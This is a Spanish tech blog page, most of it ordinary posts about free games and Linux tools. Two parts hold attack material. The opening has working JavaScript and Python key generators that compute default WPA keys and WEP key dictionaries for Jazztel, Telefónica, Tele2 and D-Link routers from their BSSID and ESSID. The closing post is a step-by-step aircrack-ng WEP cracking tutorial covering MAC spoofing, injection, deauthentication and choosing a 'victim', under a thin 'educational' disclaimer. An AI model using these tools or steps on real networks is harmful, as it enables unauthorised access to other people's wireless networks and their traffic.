			if (bssid.length != 12) { document.getElementById("txtKey").value = 'BSSID incorrecto'; return; }
 
			document.getElementById("txtKey").value = hex_md5("bcgbghgg" + bssid.substring(0,8) + essid + bssid).substring(0,20);
		}
</script>
</meta></head><body>
	<table style="border: 1px solid rgb(0, 0, 0); width: 300px;">
		<tbody><tr><td colspan="3">&nbsp;</td></tr>
		<tr><td style="text-align: right;">ESSID:</td><td><input id="txtESSID" size="4" maxlength="4" type="text"/>&nbsp;(4 últimos caracteres)</td><td></td></tr>
		<tr><td style="text-align: right;">BSSID:</td><td><input id="txtBSSID" size="17" value="68640C" maxlength="17" type="text"/></td><td></td></tr>
		<tr><td style="text-align: right;">Clave:</td><td><input id="txtKey" size="22" readonly="readonly" type="text"/></td><td></td></tr>
		<tr><td></td><td><input onclick="GenerarKey();" value="Calcular key" type="button"/></td><td></td></tr>
		<tr><td colspan="3">&nbsp;</td></tr>
	</tbody></table>
	<br />
 </body></html>

Ejemplo en PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

 
#!/usr/bin/env python
"""
    Spanish Dictionary Generators for WEP and WPA Networks library
    I know, I know, this is not PEP8'ized
    This time... fuck PEP8.
 
     Copyright (C) 2010 David Francos Cuartero
        This program is free software; you can redistribute it and/or
        modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation; either version 2
        of the License, or (at your option) any later version.
 
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
 
        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 
"""
import sys, string, hashlib
 
class Dlink():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.dicts=[]
        self.S2=self.hexa_minus_one(self.sm[-1][1])
        self.S1=""
        if self.sm[-1][1] is 0: self.S1=self.hexa_minus_one(self.sm[-1][0])
        if self.S1 is -1: self.S2, self.S1 = [0,0]
        self.static="%s%s%s%s" %(self.sm[4], self.sm[1], self.sm[2],self.sm[3])
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Dlink Bssid "
        for self.F in string.hexdigits.replace('abcdef',''):
            for self.I in string.hexdigits.replace('abcdef',''):
                self.dicts.append("%s%s%s%s%s%s%s%s"
                        %(self.sm[5], self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s%s%s" %(
                            self.S1, self.S2, self.sm[0],self.static,
                            self.S1, self.S2, self.sm[5],self.static,self.sm[0], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s"
                        %(self.S1, self.S2, self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
 
        return self.dicts
 
    def hexa_minus_one(self, hexa):
        if hex(int(hexa, 16) - 1).split('x')[0] == "-": return -1
        return hex(int(hexa, 16) - 1).split('x')[1]
 
class Tele2():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.year=args[0][1]
        self.dicts=[]
        self.fixed="IX1V" + args[0][2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Tele2 year fixed_data [''|'IV']"
        [[[[[[ self.dicts.append("%s%s%s%s%s%s%s%s" %(self.fixed, self.year, a, b, c, d, e, f) ) for a in range(0,9)] for b in range(0,9)] for c in range(0,9)] for d in range(0,9)] for e in range(0,9)] for f in range(0,9)]
        return self.dicts
 
class Jazztel():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Jazztel Bssid Essid [WPA]"
            return
        if args[0][3] is "WPA":
            self.dictionary=JazztelAndTelefonicaWPA(args).dictionary
        else:
            self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], { '00:1A:2B' : ['Comtrend', 'E001D20'] } ).dictionary
 
class Telefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Telefonica Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], {
            "00:60:B3": ["Z-com", "Z001349"],
            "00:01:38": ["Xavi 7768r", "X000138"] ,
            "00:03:C9": ["Comtrend 535", "C0030DA"],
            "00:A0:C5": [ "Zyxel 650HW/660HW", "Z001349"],
            "00:16:38": [ "Comtrend_536+", "C0030DA"],
            "00:13:49": [ "P-660HW-D1", "Z001349", "Z0002CF" ] }).dictionary
 
class TelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: TelefonicaWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: JazztelWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelAndTelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.mac=args[0].replace(':','')
        self.essid=args[0].split("_")[1]
        self.static="bcgbghgg"
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        return [hashlib.md5(self.static + self.mac[:-4] + self.essid + self.mac).hexdigest()[:-12], ]
 
class JazztelAndTelefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0].split(':')
        self.essid=args[1]
        self.dicts=[]
        self.valid_routers=args[2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        a=string.hexdigits.replace('abcdef','')
        try:
            for i in range(1, len(self.valid_routers[':'.join(self.sm[:3])])):
                [[[[ self.dicts.append( "%s%s%s%s%s%s%s"
                    %(self.valid_routers[':'.join(self.sm[:3])][i], \
                     m, j, k, l, self.essid[-2], self.essid[-1])) for m in a]
                        for j in a ] for k in a ] for l in a]
        except KeyError:
            raise Exception('Error: Router not valid for a jazztel or telefonica network')
 
        return self.dicts

Pinche aquí para ver el vídeo

» Licencia | Freeware / Gratis / GPL
» Sitio Oficial | Generador de claves para JAZZTEL_XXXX y WLAN_XXXX
» Enlace de descarga | WIFI Auditor! | Luis Delgado
» Fuente de referencia | Hispasec Sistemas

Compartelo:

[?]

Generador de claves WPA para JAZZTEL_XXXX y WLAN_XXXX es un post de: ¡De todo un poco!

Christmas Eve Crisis es un juego de plataformas especialmente pensado para la época navideña teniendo en cuenta tanto su temática como su ambientación. El objetivo del juego es ayudar a Papá Noel a repartir los regalos en sus respectivas casas lo más rápido posible.

Christmas Eve Crisis está dividido en diez niveles que irán creciendo en dificultad progresivamente. Se juega con sólo tres teclas, las de avance y retroceso y el espaciador para las acciones de recogida de regalos o saltos.

Cada nivel presenta la misión de recoger regalos a lo largo del escenario y entregarlos en sus casas atravesando charcos, evitando enemigos como las luciérnagas o los búhos, consiguiendo los secretos escondidos entre los árboles…

Además, el juego presenta unos gráficos excelentes y un ambiente musical basado en villancicos populares.

» Licencia | Freeware/Gratis
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 13MB
» Idiomas | English
» Sitio Oficial | Christmas Eve Crisis
» Enlace de descarga | Juego completo free!
» Fuente de referencia | UPtoDown

Compartelo:

[?]

Hecha una mano a Papá Noel a repartir los regalos por todo el mundo es un post de: ¡De todo un poco!

La computación en nube, del inglés “Cloud computing”, es un paradigma que permite ofrecer servicios de computación a través de Internet. La “nube” es una metáfora de Internet. En este tipo de computación todo lo que puede ofrecer un sistema informático se ofrece como servicio, de modo que los usuarios puedan acceder a los servicios disponibles “en la nube de Internet” sin conocimientos (o, al menos sin ser expertos) en la gestión de los recursos que usan. Según el IEEE Computer Society, es un paradigma en el que la información se almacena de manera permanente en servidores de Internet y se envía a cachés temporales de cliente, lo que incluye equipos de escritorio, centros de ocio, portátiles, etc. Esto se debe a que, pese a que las capacidades de los PC han mejorado sustancialmente, gran parte de su potencia se desaprovecha, al ser máquinas de propósito general.

Pinche aquí para ver el vídeo

El cambio paradigmático que ofrece la computación en nube es que permite aumentar el número de servicios basados en la red. Esto genera beneficios tanto para los proveedores, que pueden ofrecer, de forma más rápida y eficiente, un mayor número de servicios, como para los usuarios que tienen la posibilidad de acceder a ellos, disfrutando de la ‘transparencia’ e inmediatez del sistema y de un modelo de pago por consumo.

Compartelo:

[?]

Google se carga 25 portátiles con ChromeOS, intentando vendernos el Cloud Computing es un post de: ¡De todo un poco!

Panda Security en colaboración con CNET están regalando licencias de un año de activación para la versión PRO de su rápido y ligero Panda Cloud Antivirus valorado en $29.95.

Panda Cloud Antivirus detecta virus, troyanos, gusanos, spyware, dialers, herramientas de hacking, jokes, riesgos de seguridad y conexión a Internet para funcionar, sin embargo, si Internet no está disponible se ejecuta con una caché de las amenazas populares almacenadas en la máquina de los usuarios.

» Licencia | Freeware / Gratis / Otros
» Sistema Operativo | Independiente
» Sitio Oficial | Panda Cloud Antivirus PRO KeyGen – -= Promoción Finalizada =- UNLINKED
» Enlace de descarga | Panda Cloud Antivirus PRO
» Fuente de referencia | MegaLeecher

Compartelo:

[?]

Panda Cloud Antivirus PRO KeyGen (licencias gratuitas de 1 año) es un post de: ¡De todo un poco!

Hoy les presento un truco para descargar álbumes de foto, creados con Picasa. Con esta herramienta lo puedes hacer sin necesitar registrarte o tener instalada la aplicación oficial de Picasa. Esta disponible para PC, MAC y Linux.

Todo lo que necesita hacer para captar las imágenes es, iniciar la utilidad, especificar el ID del usuario y el nombre del álbum que desea descargar, el resto lo hace automáticamente el propio software.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 8.5MB
» Sitio Oficial | Picasa Album Downloader
» Enlace de descarga | Picasa Album Downloader

Compartelo:

[?]

Picasa Album Downloader – Para descargar álbumes foto de Picasa, a tu ordenador es un post de: ¡De todo un poco!

Hace poco, los de PenTester Francia, hicieron público un repositorio de herramientas de seguridad, algunas sobradamente conocidas por todos, mientras que otras no tanto. El repositorio está bastante ordenado, con lo que os recomendamos que le deis un vistazo ya que siempre se puede conocer una nueva “amiga” o al menos recuperar una vieja “conocida”.

Además del repositorio de herramientas seguridad anunciado por PenTester Francia, aprovechamos para recordaros otros repositorios, como el de Herramientas de Seguridad de Microsoft o otro proyecto muy interesantes llamado BinkPack. Este ultimo es un repositorio de herramientas portables de seguridad para Windows.

» Licencia | Freeware / Gratis / GPL
» Sitio Oficial | PenTester Francia
» Sitio Oficial | Herramientas de Seguridad de Microsoft
» Sitio Oficial | BinPack – West Coast Hackers
» Fuente de referencia | Informatica64

Compartelo:

[?]

Tres repositorios de herramientas de seguridad gratuitas es un post de: ¡De todo un poco!

Canonical ya ha habilitado su shipit para que podamos empezar a pedir los nuevos DVDs de la ultima versión de KUbuntu.La entrega será totalmente gratuita y por ello Canonical se hará cargo de todos los gastos de envío y producción del DVD. A no ser que necesitéis una copia en DVD o queráis tener un disco original, os recomiendo que en vez de pedirlo, os descarguéis la ISO. Para solicitar tu disco original de KUbuntu en CD/DVD es imprescindible registrarte.

» Sitio Oficial | CD/DVD Ubuntu para Desktop

Compartelo:

[?]

Shipit de KUbuntu esta activo. Ya puedes encargar tus DVD’s es un post de: ¡De todo un poco!

Abra Sonic es un juego libre de código abierto basado en el “Sonic the Hedgehog”. Se introduce un estilo diferente de juego llamado juego cooperativo, en el que es posible controlar 3 personajes al mismo tiempo. A diferencia de la mayoría de juegos similares, Open Sonic proporciona un mayor nivel de interacción entre el jugador y los niveles.

Es algo más que un jump’n'run; el usuario debe llegar a alguna estrategia con el fin de llegar al final de los niveles.

Pinche aquí para ver el vídeo

» Licencia | Freeware / Gratis / GPL
» Sistema Operativo | Linux / MacOS / Windows
» Sitio Oficial | OpenSonic
» Sitio Oficial | Screenshots
» Enlace de descarga | OpenSonic

Compartelo:

[?]

Open Sonic, la versión gratuita de Sonic the Hedgehog, para pasarlo bien este fin de semana es un post de: ¡De todo un poco!

Aquí les dejo este directorio OnLine donde podrán encontrar imágenes ISO de una buena cantidad de distribuciones Linux. Esta recompilación de imágenes existe gracias a la empresa FrozenTech, que además de permitirte descargarlo, si lo deseas te lo envía por correo a casa a precios de coste.

» Sitio Oficial | FrozenTech
» Enlace de descarga | Directorio de imágenes ISO

Compartelo:

[?]

Un directorio OnLine lleno de imagenes ISO de distintas distribuciones Linux es un post de: ¡De todo un poco!

Ya no es necesario ser programador para crear su propia distribución Linux, personalizadas gracias al equipo de SUSE Estudios. Ya no es tan difícil lanzar su distribución Linux optimizado con personalizaciones propias y su selección de software en cuestión de minutos a través de una simple interfaz en línea.

Con esta herramienta la creación de un dispositivo Linux es un proceso sencillo, después de la inscripción puede crear distribuciones a medida con posibilidad de seleccionar la base del sistema operativo, entorno de escritorio, la arquitectura, el software que desea incluir, configuración, el nombre de usuario por defecto, bases de datos y secuencias de comandos, una vez configurado, puede elegir en que formato quiere descargar su distribución entre LiveCD/DVD, imagen VMware, imagen Disco Duro, imagen USB, o la imagen Virtual Xen.

Pinche aquí para ver el vídeo

» Licencia | Freeware / Gratis / GPL
» Sistema Operativo | Linux
» Sitio Oficial | SUSE Studio

Compartelo:

[?]

Crea y personaliza tu propria distribucion Linux basada en SUSE es un post de: ¡De todo un poco!

¿Quieres ver cómo funciona la plataforma móvil de código abierto, Android creada por Google? Con este emulador OnLine puedes probar esta plataforma desde la comodidad de tu hogar. Usando este emulador de teléfono basado en flash, puedes probar todas las funciones de Android versión 1.6.

Pinche aquí para ver el vídeo

» Sitio Oficial | T-Mobile G1 Emulator

Compartelo:

[?]

Prueba Google Android OnLine con este emulador de T-Mobile G1 es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Este vídeo te enseñara como comprobar la seguridad de un punto de acceso WIFI con encriptación WEP. Es muy parecido al tutorial que publiqué hace poco. Lo publico por si han quedado dudas sin aclarar en el tutorial que he creado.

Compartelo:

[?]

Como reventar una WEP con un LiveCD BackTrack 4 es un post de: ¡De todo un poco!

Fedora Live USB Creator es una herramienta multiplataforma que te permite instalar fácilmente los sistemas operativos LiveCD y LiveDVD en unidades flash USB. Funciona en Windows y Linux! Utiliza un sistema de instalación completamente no-destructivo. No es necesario formatear o particiónar su llave USB.

Fedora Live USB Creator descarga varias versiones de Fedora, así como Sugar on a Stick! Detecta automáticamente durante la creación los dispositivos extraíbles. Pasos a seguir para crear nuestro LiveUSB sin morir en el intento:

1. Descarga e instala Fedora Live USB Creator
2. Ejecuta la aplicación
3. Haz clic donde pone “Browse” o elige una de las opciones listadas en el apartado “Download Fedora”
4. En “Target Drive” elige la letra que corresponde al dispositivo USB en el que quieres
5. realizar la instalación
6. Define el espacio reservado para esta instalación en “Persistent Storage”
7. Haz clic en [Create Live USB]

Bueno después de este proceso en el USB habrán aparecido algunos ficheros nuevos. Comprueba que tu equipo esta configurado para buscar el sector de arranque primero en el USB y luego en el disco local. Reinicia el equipo, y a disfrutar.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/Windows
» Tamaño | 7,9MB
» Sitio Oficial | Fedora Live USB Creator

Compartelo:

[?]

Créate un LiveUSB bootable con esta herramienta gratuita de Fedora es un post de: ¡De todo un poco!

Esto del 3D no es nada nuevo. Lo llevamos viéndolo desde que éramos niños. Por aquel entonces había una colección en fascículos de dinosaurios, y con las típicas gafas rojas y azules podías ver las imágenes en 3D. Pero ahora parece que esa moda antigua vuelve a pegar fuerte en el cine y en los televisores. Bueno, acá les traigo un programa con el que se pueden ver también el escritorio de su equipo Linux.

El método es muy sencillo, pero se necesitan unas gafas 3D que puedes comprar o construir tu mismo. Una ves que tengas las gafas haz lo siguiente:

1. Abre la terminal y ejecuta el siguiente comando:

   sudo apt-get install compiz-fusion-bcop compiz-dev build-essential libtool libglu1-mesa-dev libxss-dev git-core compizconfig-settings-manager

2. Descarga este paquete:

   http://www.4shared.com/file/254841786/c326d891/anaglyph_024tar.html

   Y descomprímelo en:

   "Carpeta de tu usuario"/.compiz/plugins/

   Después, accede a esa carpeta e instálalo:

   cd .compiz/plugins/anaglyph/
   make && make install

3. Accedemos a: [Sistema] >> [Preferencias] >> [Administrador de opciones CompizConfig] >> [Sin categoria] >> [Anaglyph]

   Habilitamos y configuramos los botones para [Initiate Screen] con Ctrl+Alt+3 por ejemplo. Listo!
   Una vez ejecutada la aplicación compiz, pulsamos Ctrl+Alt+3 y el escritorio cambiara a modo 3D.

4. Para desinstalar el plugin, abrimos una terminal, vamos a la carpeta del respectivo plugin (en este caso .compiz/plugins/anaglyph/) y ejecutamos:

   make uninstall

El efecto 3D no tiene la calidad de los cines IMAX, pero es una opción mas, y sirve perfectamente para pasar un buen rato.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux
» Tamaño | 10KB

Compartelo:

[?]

El 3D llega a Linux gracias a Compiz es un post de: ¡De todo un poco!

“Primeros pasos con Ubuntu 10.04” es una interesante guía para los que quieren iniciarse en el sistema operativo Ubuntu. Se encuentra disponible bajo una licencia de código abierto y pueden descargarlo, leerlo, modificarlo y distribuirlo libremente. Este manual te ayudará a familiarizarte con las tareas diarias tales como navegar por Internet, escuchar música, escanear documentos y mucho más. El manual sigue una línea de instrucciones fáciles de utilizar, que hacen que sea apto para todos los niveles de experiencia.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | » Tamaño | ~5MB
» Idiomas | English
» Sitio Oficial | Ubuntu Manual Project
» Sitio Oficial | Involucrate

Compartelo:

[?]

El manual de UBUNTU que aclarará todas tus dudas! es un post de: ¡De todo un poco!

Hace más de un año, os he presentado una aplicación que os permitía compartir cositas en la red desde un ordenador con Windows y todo esto sin complicarse la vida con instalaciones complejas. Esa aplicación se llamaba HFS o para ser más exactos HTTP File Server. Esto de compartir archivos siempre ha sido algo que he buscado hacerlo de la manera mas sencilla posible. Ahora, ha llegado el momento de presentaros una aplicación que haga lo mismo en Linux. Es una pequeña aplicación que me he encontrado por Internet, y se llama MEIGA.

MEIGA hará tu trabajo mucho más fácil y en modo grafico, sin tener que configurar nada en la consola. En MEIGA, como podrán ver en la imagen hay 3 botones y con esos 3 botones hacemos todo!

• Con el botón [+] podemos agregar una carpeta para compartir indicando cual es la carpeta y el nombre para identificarla.
• Con el botón [–] quitamos esa carpeta, con lo cual ya no estará compartida.
• Con el botón [de las hojitas] copiamos la dirección que tenemos que pasar a quien deseemos para compartir la carpeta. Esa dirección tendrá la forma http://nuestraIP:8001/nombre_de_la_carpeta_compartida. Mas facil, imposible.
• En la imagen pueden ver además que en la parte de abajo hay una pestaña que dice [Registro] en ella se detalla que compartimos, quien accede, quien baja cada cosa, etc.

Su instalación es muy sencilla ya que se nos brinda los paquetes para Ubuntu, Fedora y las fuentes (.tar.gz). Si no sabes cual es tu ip en internet ejecuta el siguiente comando desde consola:

$ sudo ifconfig

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux
» Sitio Oficial | Meiga, Light and easy content server for your desktop
» Sitio Oficial | Mas cositas interesantes para Meiga

Compartelo:

[?]

MEIGA, comparte archivos desde tu PC (con Linux), a través del protocolo HTTP es un post de: ¡De todo un poco!

Con esta herramienta podemos crear Live USBs (lo mismo que un Live CD en un dispositivos USB), con una distribución de Linux. Esta aplicación solo tiene versión para Windows. Los pasos para la instalación son tal cual muestra la imagen:

1. Elegimos el tipo de dispositivo USB.
2. Elegimos desde donde vamos a instalar Ubuntu (ISO, CD, o Descargar desde Internet)
3. En Persistencia, elegimos la cantidad de espacio a usar dentro del USB para guardar información en él, en MB (Así podemos usar Ubuntu desde el USB en modo Live USB, sin perder los archivos guardados al reiniciar).
4. Seleccionamos la opción de personalización que nos convenga.
5. Creamos nuestro Live USB.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Windows
» Tamaño | 1,9MB
» Sitio Oficial | LinuxLiveUSB
» Sitio Oficial | Distribuciones compatibles con LinuxLiveUSB
» Sitio Oficial | LinuxLiveUSB (Como Hacer)
» Enlace de descarga | LinuxLiveUSB (ultima versión estable)
» Fuente de referencia | Datanoia

---

Compartelo:

[?]

Linux Live USB Creator es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

» Fuente de referencia | datanoia

Compartelo:

[?]

¿Qué sistema operativo es el más rápido en arrancar? es un post de: ¡De todo un poco!

Si necesitas instalar un sistema operativo en un equipo que no dispone de una unidad de lectura de DVD, o tiene una que no funciona correctamente, UNetBootIn es la alternativa y la solución para tu problema.

Con esta herramienta podremos instalar un sistema operativo Linux en una memoria de almacenamiento USB, y lo podemos hacer desde Windows o Linux, pues esta herramienta tiene versión para ambos sistemas operativos. En los siguientes dos ejemplos utilizaremos como sistema operativo de referencia Ubuntu.

Para usar nuestro USB como CD de instalación de Ubuntu, necesitamos descargar la ISO de Ubuntu, seguido de eso dependiendo de tu sistema operativo haremos lo siguiente:

Desde Windows>

Descargamos la aplicación y la ejecutamos:

Seleccionamos Imagen de disco ISO, y le damos la ruta del archivo del archivo ISO descargado anteriormente. Luego en Tipo Unidad USB, elegimos la unidad donde se encuentre el USB. Aceptar y eso es todo.

En Linux (Ej. Ubuntu)>

Instalamos UNetBootIn con el comando:

sudo aptitude install unetbootin

Ejecutamos UNetBootIn y hacemos lo mismo que en Windows:

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/Windows
» Sitio Oficial | uNetBootIn
» Fuente de referencia | Datanoia

Compartelo:

[?]

Como instalar LINUX desde un dispositivo USB es un post de: ¡De todo un poco!

Pinche aquí para ver el vídeo

Pinche aquí para ver el vídeo

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOSX/Solaris/Windows
» Sitio Oficial | Robombs
» Sitio Oficial | Robombs (Jugar sin instalar nada)
» Enlace de descarga | Robombs (Windows / Linux / Mac OSX / Solaris)
» Fuente de referencia | Softonic

Compartelo:

[?]

Bomberman para jugar en red o através de Internet es un post de: ¡De todo un poco!

Bueno, para empezar este tutorial ha sido creado con un propósito educativo. Lo que el usuario haga con lo aprendido en este tutorial, lo hará bajo su responsabilidad.

¿Para que nos puede servir saber crackear una contraseña de encriptación WEP? Eso no importa, esto es meramente educativo y un reto para algunos. Bueno es una tecnica que se utiliza en algunas empresas para realizar auditorías de seguridad en redes wifi. También sirve para demostrar lo frágil que es la seguridad que nuestros proveedores de Internet dejan configurada en los routers que nos regalan.

Antes que nada hay que saber cuanto es de segura la encriptación WEP. Segun Wikipedia:
{WEP, acrónimo de Wired Equivalent Privacy o “Privacidad Equivalente a Cableado”, es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la información que se transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado RC4 que utiliza claves de 64 bits (40 bits más 24 bits del vector de iniciación IV) o de 128 bits (104 bits más 24 bits del IV). Los mensajes de difusión de las redes inalámbricas se transmiten por ondas de radio, lo que los hace más susceptibles, frente a las redes cableadas, de ser captados con relativa facilidad. Presentado en 1999, el sistema WEP fue pensado para proporcionar una confidencialidad comparable a la de una red tradicional cableada.}

Para este ejercicio necesitaremos “BackTrack”, que es un sistema operativo con kernel de Linux que se utiliza exclusivamente para auditorías de seguridad. No es necesario instalarlo ya que es un LiveDVD.

1. Lo primero que hay que hacer es descargar la última versión de “BackTrack” y grabarla en un DVD. Después de comprobar que se ha grabado correctamente, con el DVD en la unidad reiniciamos el equipo para arrancar desde el LiveDVD. En algunos casos puede ser necesario cambiar el orden de los dispositivos de arranque en el BIOS.
2. Si todo es correcto nos saldrá el menú del LiveDVD, donde debemos elegir la opción indicada en la foto. Si durante el proceso de arranque hay algún fallo, deberá reiniciar el equipo e intentar una por una las siguientes opciones de la lista hasta encontrar una que le permita llegar al siguiente paso.

   

3. Llegados a este punto debemos iniciar la interfaz gráfica. Para ello utilizaremos el comando:

    startx

   

4. Con la interfaz gráfica cargada, primero tendrá que configurar el teclado. El sistema operativo de este LiveDVD está en inglés. Haga clic de derecha con el ratón sobre la bandera de “US” >> elige la opción “Configure…” >> en la ventana que se abre, elimina todos las banderas que aparecen en “Active layouts:”, >> después añade la bandera que corresponde a la configuración de tu teclado de entre las que están en “Available layouts:” y confirma con [OK]. Lo segundo de este paso será abrir la consola de comandos haciendo clic en el segundo icono.

   

5. Este es el paso donde se empieza el proceso de recuperación de contraseña. Todo el proceso lo realizaremos en la consola que hemos abierto en el paso anterior. Con el siguiente comando averiguaremos si nuestra tarjeta de red wifi está compatible con “BackTrack”. Si el sistema reconoce tu interfaz wifi, te mostrará algo como eth1 o wlan0. Este es el nombre de la interfaz y lo deberá utilizar en todos los comandos que sigan.

    airmon-ng

   

6. Los siguientes 2 comandos desactivarán la interfaz wifi preparándola para el siguiente paso. Hay que ejecutarlos uno detrás del otro sin olvidar remplazar “(interface)” por el nombre de la interfaz obtenido en el paso anterior.
   Ej: “airmon-ng stop eth1”

   

    airmon-ng stop (interface)
    ifconfig (interface) down

   

7. Como todo buen hacker informático, debes cuidar la seguridad así que cambiaremos la mac del dispositivo. La mac esta formada por 6 grupos de 2 digitos separados por “:”. Los caracteres permitidos son “0123456789ABCDEF”.

    macchanger --mac 00:11:22:33:44:55 (interface)

   

8. Volvemos a activar la interfaz:

    ifconfig (interface) up
    airmon-ng start (interface)

   

9. Ahora revisaremos todas las redes wifi con encriptación WEP, disponibles. Entre ellas tenemos que elegir a la que queremos atacar:

    airodump-ng (interface) --encrypt wep

   

   Despues de ver la lista y elegir a nuestra victima pararemos el proceso con la combinación de teclas [Ctrl]+[C].

10. Abriremos una nueva pestaña presionando en el icono que aparece en la esquina izquierda abajo en nuestra consola.

    

11. Utilizando la información recompilada en el paso 9, iremos componiendo el siguiente comando:

     airodump-ng (interface) --bssid (bssid) -c (channel) -w (captura)

    

    Se deben remplazar los siguientes parámetros:
    (interface) es el nombre de la interfaz que obtuvimos en el paso 5. Ej. eth0, wlan1, …
    (bssid) es la mac o bssid del router que queremos atacar. Ej: 00:13:49:CA:FE:00.
    (captura) es el nombre de archivo en el que se guardará la información capturada. Yo suelo utilizar la essid, así me es mas fácil recordar que información contiene.

    El router que elegimos en este paso es de vital importancia. Si no tenemos que descifrar una señal concreta, lo ideal sería elegir la bssid que mas tráfico de datos tenga. Si encontramos una que tenga suficiente tráfico de datos para que no tengamos que inyectar tráfico falso, nos podríamos saltar los siguientes 3 pasos.**

12. **Si es una de las que tienen tráfico, pero muy poco, debemos inyectar tráfico falso. Para ello abrimos una nueva pestaña y en ella ponemos el siguiente comando.

     aireplay-ng (interface) -3 –b (bssid) -h (MacCliente)

    

    La (interface) y la (bssid) ya sabes con que hay que remplazarlas. La (MacCliente) es la dirección Mac en formato XX:XX:XX:XX:XX:XX del cliente que este generando el tráfico. Este proceso captura partes del tráfico que este cliente realiza y lo vuelve a enviar al router como si viniera del mismo cliente. Esto aumentará la velocidad con la que se capturan los paquetes. En definitiva, nos ahorrará tiempo. Si con esto ya tenemos suficiente tráfico de datos, nos podemos saltar los siguientes 2 pasos.

13. **Si hemos decidido hacer todo esto en un punto de acceso que no tiene tráfico, además de todos los pasos anteriores, debemos realizar también este y el siguiente paso. Abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:

     aireplay-ng (interface) -1 10 -a (bssid)

    

    Este comando enviará 10 paquetes malformados al router haciéndole creer que somos un cliente que ya esta autentificado. Al pensar que somos un cliente autentificado el router nos enviará un paquete con datos encriptados. Este será el paquete que capturaremos con el paso anterior. He de tener en cuenta que en este caso nosotros seriamos el cliente, por lo tanto el valor del (MacCliente) seria nuestra mac. La que definimos en el paso 7. Ej: 00:11:22:33:44:55

14. **Mientras se ejecutan los comandos anteriores, abrimos una nueva pestaña como hemos visto en el paso 10. En ella ponemos el siguiente comando:

     aireplay-ng (interface) -0 0 -a (bssid) –c (MacCliente)

    

    Este paquete malformado provocará que el router nos desautentifique, permitiendo así que el proceso anterior vuelva a autentificarnos generando otro paquete de datos.

15. En este momento volvemos a la pestaña numero 2, que es en la que se captura en tráfico y comprobamos cuantos paquetes tenemos capturados y si se sigue capturando. He de tener en cuenta que para descifrar una clave wep de 64bits se necesitan unos 40000 paquetes capturados, y para una de 128bits unos 80000. Esto es lo recomendado lo que no impide que el siguiente comando consiga descifrarla antes. Así que abrimos una última pestaña y en ella ponemos:

     aircrack-ng (captura)*.cap

    

    No olviden remplazar la variable (captura) con la que definimos en el paso 11 seguido de “*.cap”. Ej: wlan_xx*.cap. Este proceso empezara a escanear los paquetes que hemos capturado en busca de la clave. El proceso se repite automáticamente cada 5000 paquetes capturados, así que si con 5000 paquetes no encuentra la clave cuando la captura de paquetes llegue a 10000 volverá a buscar, luego a los 15000, 20000, …hasta encontrarla. Lo único que hará falta es esperar.

16. Tras esperar un rato, en la ultima pestaña que hemos abierto aparecerán dos mensajes “KEY FOUND!” + “Decrypted correctly: 100%”. Esto significa que ya tenemos nuestra clave. La clave que nos abrirá las puertas de nuestro punto de acceso es la que aparece donde pone ASCII.

    

Compartelo:

[?]

Tutorial: Como crackear contraseñas wifi con cifrado WEP es un post de: ¡De todo un poco!

